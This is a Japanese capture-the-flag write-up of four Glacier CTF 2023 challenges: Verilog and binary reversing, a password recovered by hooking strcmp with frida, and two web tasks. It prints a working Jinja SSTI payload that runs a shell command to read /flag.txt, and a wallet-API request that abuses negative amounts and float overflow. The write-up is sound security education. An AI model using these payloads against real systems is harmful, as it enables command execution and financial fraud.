Glacier CTF 2023 Writeup

0nePaddingで参加してきました。

image

[Intro Web] My First Website

問題文

image

四則演算ができるサイトです。

image

Calculate押下時に発生するリクエストにはnum1,num2,operatorのパラメータが存在しましたが、特に脆弱性は発見できませんでした。

問題文に戻り、Don't forget to check out my other projects!という指示からhereのリンクを辿りますがNot Found ページのようでした。

ただし、レスポンスコードが200になっているのが気になります。

Discordを確認したところ意図した挙動とのことだったのでこのページを探索します。

image

Not Foundページをよく見るとパスが出力されていることがわかります。

image

このパスに適当なPolyglotを挿入するとエラーを発生させることができました。

<s>000'")}{{}}--//

image

Polyglotを分解して挿入していったところ{{が原因だということがわかったのでSSTI経由のOSコマンド実行でフラグを取得します。

{{''.__class__.__mro__[1].__subclasses__()[351]('cat /flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

image

[Intro Rev] Skilift

問題文

image

top.vファイルが与えられます。

module top(
    input [63:0] key,
    output lock
);

    reg [63:0] tmp1, tmp2, tmp3, tmp4;

    // Stage 1
    always @(*) begin
        tmp1 = key & 64'hF0F0F0F0F0F0F0F0;
    end

    // Stage 2
    always @(*) begin
        tmp2 = tmp1 <<< 5;
    end

    // Stage 3
    always @(*) begin
        tmp3 = tmp2 ^ "HACKERS!";
    end

    // Stage 4
    always @(*) begin
        tmp4 = tmp3 - 12345678;
    end

    // I have the feeling "lock" should be 1'b1
    assign lock = tmp4 == 64'h5443474D489DFDD3;

endmodule

よく知りませんが、Verilogだそうです。

入力を色々加工した結果が0x5443474D489DFDD3になれば良さそうなのでリバースします。

from Crypto.Util.number import bytes_to_long

key = (((0x5443474D489DFDD3 + 12345678) ^ bytes_to_long(b"HACKERS!")) >> 5) & 0xF0F0F0F0F0F0F0F0
print(hex(key))

実行すると、下記のHexが得られます。

image

あとは上記の結果をncの接続先に入力すればフラグが表示されます。

image

[Rev] Password recovery

問題文

image

ELFバイナリが与えられます。

実行するとユーザー名、パスワードの入力を求められます。

image

Ghidraで解析すると、入力したユーザー名を加工した結果と入力したパスワードの一致をstrcmpで確認しているようです。

undefined8 main(void)

{
  byte bVar1;
  int iVar2;
  ulong uVar3;
  size_t Username_Length;
  long in_FS_OFFSET;
  ulong Counter1;
  ulong Counter2;
  byte Username [64];
  char Password [56];
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter your name: ");
  __isoc99_scanf(&DAT_00102016,Username);
  printf("Enter your password: ");
  __isoc99_scanf(&DAT_00102016,Password);
  Counter1 = 0;
  while( true ) {
    Username_Length = strlen((char *)Username);
    if (Username_Length <= Counter1) break;
    uVar3 = next_rand_value();
    Username_Length = strlen((char *)Username);
    bVar1 = Username[Counter1];
    Username[Counter1] = Username[uVar3 % Username_Length];
    Username[uVar3 % Username_Length] = bVar1;
    Counter1 = Counter1 + 1;
  }
  Counter2 = 0;
  while( true ) {
    Username_Length = strlen((char *)Username);
    if (Username_Length <= Counter2) break;
    Username[Counter2] = Username[Counter2] ^ *(byte *)((long)&key + (ulong)((uint)Counter2 & 7));
    Username[Counter2] = (char)Username[Counter2] % '\x1a';
    Username[Counter2] = Username[Counter2] + 0x61;
    Counter2 = Counter2 + 1;
  }
  iVar2 = strcmp((char *)Username,Password);
  if (iVar2 == 0) {
    puts("Valid!");
  }
  else {
    puts("Invalid!");
  }
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

問題文でユーザー名はLosCapitanを与えられているので、このユーザー名を入力した際のstrcmpをfridaでフックすればパスワードが取得できます。

]^WR\\lcTI

image

image

あとはgctf{}でパスワードを囲めばフラグになります。

gctf{]^WR\\lcTI}

[Web] Glacier Exchange

問題文

image

仮想通貨を取り扱うサイトのようです。

image

以下、画面から確認できる機能です。

Join GlacierClub

現状は利用できません。もっとお金を払えば入れるようです。

image

Convert

通貨を交換する機能です。

image

交換が成功するとBalanceに反映されます。

image

続いてソースコードです。

フラグはGlacierClubに入ると取得できるようです。

@app.route("/api/wallet/join_glacier_club", methods=["POST"])
def join_glacier_club():
    wallet = get_wallet_from_session()
    clubToken = False
    inClub = wallet.inGlacierClub()
    if inClub:
        f = open("/flag.txt")
        clubToken = f.read()
        f.close()
    return {
        "inClub": inClub,
        "clubToken": clubToken
    }

入会処理で、wallet.InClacierClubがTrueであれば入会できるようなので当該処理部分を確認します。

当該処理はWalletクラスで実装されています。

cashoutが1000000000以上かつその他の通貨が0.0であればGlacierClubに入会できそうです。

class Wallet():
    def __init__(self) -> None:
        self.balances = {
            "cashout": 1000,
            "glaciercoin": 0,
            "ascoin": 0,
            "doge": 0,
            "gamestock": 0,
            "ycmi": 0,
            "smtl": 0
        }
        self.lock = threading.Lock();


    def getBalances(self):
        return self.balances

    def transaction(self, source, dest, amount):
        if source in self.balances and dest in self.balances:
            with self.lock:
                if self.balances[source] >= amount:
                    self.balances[source] -= amount
                    self.balances[dest] += amount
                    return 1
        return 0

    def inGlacierClub(self):
        with self.lock:
            for balance_name in self.balances:
                if balance_name == "cashout":
                    if self.balances[balance_name] < 1000000000:
                        return False
                else:
                    if self.balances[balance_name] != 0.0:
                        return False
            return True

通貨金額が条件になっているので通貨を交換するtransactionをあたってみます。

排他制御がされているためレースコンディションは無理そうですが、amountがマイナス値を受け入れています。

    def transaction(self, source, dest, amount):
        if source in self.balances and dest in self.balances:
            with self.lock:
                if self.balances[source] >= amount:
                    self.balances[source] -= amount
                    self.balances[dest] += amount
                    return 1
        return 0

このため、以下のような通貨交換リクエストを送信すると、

{
  "sourceCoin": "cashout",
  "targetCoin": "ascoin",
  "balance": -1000000000000000000000000000
}

特定の通貨を自由に増やすことができます。

[
  {
    "name": "cashout",
    "value": 1E+27
  },
  {
    "name": "glaciercoin",
    "value": 0
  },
  {
    "name": "ascoin",
    "value": -1E+27
  },
  {
    "name": "doge",
    "value": 0
  },
  {
    "name": "gamestock",
    "value": 0
  },
  {
    "name": "ycmi",
    "value": 0
  },
  {
    "name": "smtl",
    "value": 0
  }
]

また、大きい金額をリクエストすると、金額がInfinityとなることを確認しました。

image

wallet.transactionが呼び出される際の金額にあたる引数がfloatにキャストされているため、float型の最大値を超えた場合にInfinityとなるようです。

@app.route('/api/wallet/transaction', methods=['POST'])
def transaction():
    payload = request.json
    status = 0
    if "sourceCoin" in payload and "targetCoin" in payload and "balance" in payload:
        wallet = get_wallet_from_session()
        status = wallet.transaction(payload["sourceCoin"], payload["targetCoin"], float(payload["balance"]))
    return jsonify({
        "result": status
    })

これらの脆弱性を利用して以下の手順でGlacierClubへの入会条件が満たせそうです。

  1. マイナス値チェックの不備を利用してcashoutInfinityとなる手前の金額まで増やす

(処理系が異なる場合もありますが、Floatの最大値は以下で確認できます)

image

image

image

2. 1で利用した通貨とは別の通貨でcashoutInfinityにする

image

image

  1. cashoutからマイナス通貨を補填し0にする

image

image

image

image

この状態でJoin GlacierClubをリクエストを送信すればフラグが取得できます。

image